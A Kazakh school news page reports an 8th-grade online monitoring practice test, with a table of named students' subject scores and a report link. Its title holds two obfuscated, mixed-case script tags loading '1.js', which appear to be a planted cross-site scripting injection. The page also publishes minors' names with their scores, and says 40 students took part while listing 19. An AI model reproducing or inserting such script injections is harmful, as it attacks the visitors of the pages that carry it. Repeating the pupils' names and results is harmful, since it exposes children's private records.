Оқу жетістіктерін мониторингілеуге дайындық. 8-сынып<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
25.01.2024
"Ақмола облысы Білім басқармасының әдістемелік орталығы" КММ-нің 2024 жылғы 22 қаңтардағы №38 бұйрығы негізінде 2024 жылдың 25 қаңтарында оқушылардың оқу жетістіктерінің мониторингіне дайындау және оқу процесін ұйымдастыруды бағалау мақсатында 8-сыныптарда онлайн режимде Google платформасында тестілеу өткізілді. 8 сыныпта барлығы 40 оқушының барлығы қатысты.
| № | Оқушының аты-жөні | вариант | физика | химия | қазақ тілі | орыс тілі | ағылшын | математика | биология | география | общий |
| 8 | 8 | 10 | 10 | 10 | 13 | 8 | 8 | 75 | |||
| 1 | Аю Қымбат | 1 | 1 | 2 | 7 | 5 | 3 | 3 | 6 | 0 | 27 |
| 2 | Әубәкір Ералы | 2 | 7 | 4 | 4 | 5 | 3 | 5 | 4 | 2 | 34 |
| 3 | Балтабай Елдана | 1 | 8 | 7 | 8 | 7 | 1 | 4 | 7 | 3 | 45 |
| 4 | Барлыбай Али | 2 | 3 | 5 | 3 | 5 | 4 | 4 | 8 | 6 | 38 |
| 5 | Дарынұлы Бексұлтан | 1 | 3 | 5 | 8 | 7 | 2 | 5 | 4 | 4 | 38 |
| 6 | Елемесова Дилара | 2 | 1 | 4 | 3 | 5 | 4 | 5 | 4 | 2 | 28 |
| 7 | Есірке Сабина | 1 | 2 | 8 | 9 | 9 | 7 | 12 | 8 | 5 | 60 |
| 8 | Жақсылықов Сағыныш | 2 | 7 | 3 | 2 | 2 | 2 | 6 | 4 | 7 | 33 |
| 9 | Жұман Әліби | 1 | 2 | 6 | 3 | 9 | 4 | 2 | 5 | 3 | 34 |
| 10 | Казезова Айзана | 2 | 4 | 3 | 5 | 2 | 1 | 1 | 1 | 1 | 18 |
| 11 | Көшкембай Сымбат | 1 | 4 | 4 | 7 | 5 | 4 | 8 | 5 | 6 | 43 |
| 12 | Кызбелбаева Мадина | 2 | 3 | 5 | 5 | 5 | 3 | 4 | 4 | 4 | 33 |
| 13 | Нұрахмет Аружан | 1 | 3 | 3 | 2 | 4 | 2 | 5 | 2 | 1 | 22 |
| 14 | Русланқызы Аяжан | 2 | 3 | 3 | 9 | 5 | 2 | 7 | 8 | 1 | 38 |
| 15 | Сайтарлы Карина | 1 | 7 | 8 | 5 | 0 | 0 | 8 | 4 | 1 | 33 |
| 16 | Төленді Ақбота | 2 | 1 | 5 | 8 | 3 | 1 | 3 | 8 | 1 | 30 |
| 17 | Шайкен Дәулет | 2 | 5 | 6 | 8 | 9 | 5 | 7 | 6 | 6 | 52 |
| 18 | Шиханазар Әсел | 1 | 3 | 3 | 8 | 2 | 1 | 4 | 3 | 3 | 27 |
| 19 | Шопан Шыңғыс | 2 | 3 | 4 | 4 | 3 | 4 | 4 | 4 | 1 | 27 |
| 21,10% | 26,30% | 47,40% | 26,30% | 5,30% | 5,30% | 36,80% | 21,10% | 10,50% |
ББЖМ есебі 2023 ж /public/files/2024/1/27/270124_124804_esep-bbghm-2023.pdf
Просмотров: 702